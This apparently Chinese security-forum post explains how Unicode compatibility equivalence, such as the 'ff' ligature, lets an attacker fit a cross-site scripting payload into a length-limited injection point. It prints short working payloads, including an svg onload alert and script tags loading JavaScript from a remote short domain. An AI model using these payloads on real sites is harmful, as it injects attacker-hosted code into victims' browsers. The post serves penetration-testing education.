跨站点脚本攻击是web渗透测试中最常见的漏洞之一。但是由于注入点字符限制的问题,有时payload无法执行成功,在这篇文章中,将利用unicode兼容性来突破这一限制。

unicode的兼容性

在unicode等价里一些字符的序列有相同的含义。

该特性被引入到标准中,以便与现有的标准字符集兼容,unicode有两种方法处理这种兼容性和规范等价性。

1、规范等价性:一些有着相同外形的字符序列也被认为有着相同的含义,如:n + ◌̃ = ñ。

2、兼容等价性:一些字符的外形可能不同,但是在某些情况下含义相同,如:ff字符等价于ff

20个字符的兼容性
因此,假设payload长度被限制,我们可以用如下这个不超过20个字符的payload:

<svg/onload=alert``>

这个payload只能简单弹个框,并不能展示xss的危害,例如加载外部JavaScript文件<script src=//aa.es>,让我们能更灵活地准备更复杂的XSS攻击。

这样的短payload可以实现输入20个字符加载远程JavaScript文件。但是弊端就是后面加载远程JavaScript文件的短域名早已经被注册或者购买价格太昂贵。

unicode字符的利用

浏览器对某些unicode字符具有兼容性,例如payload:

<script src=//ffff.pw>

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖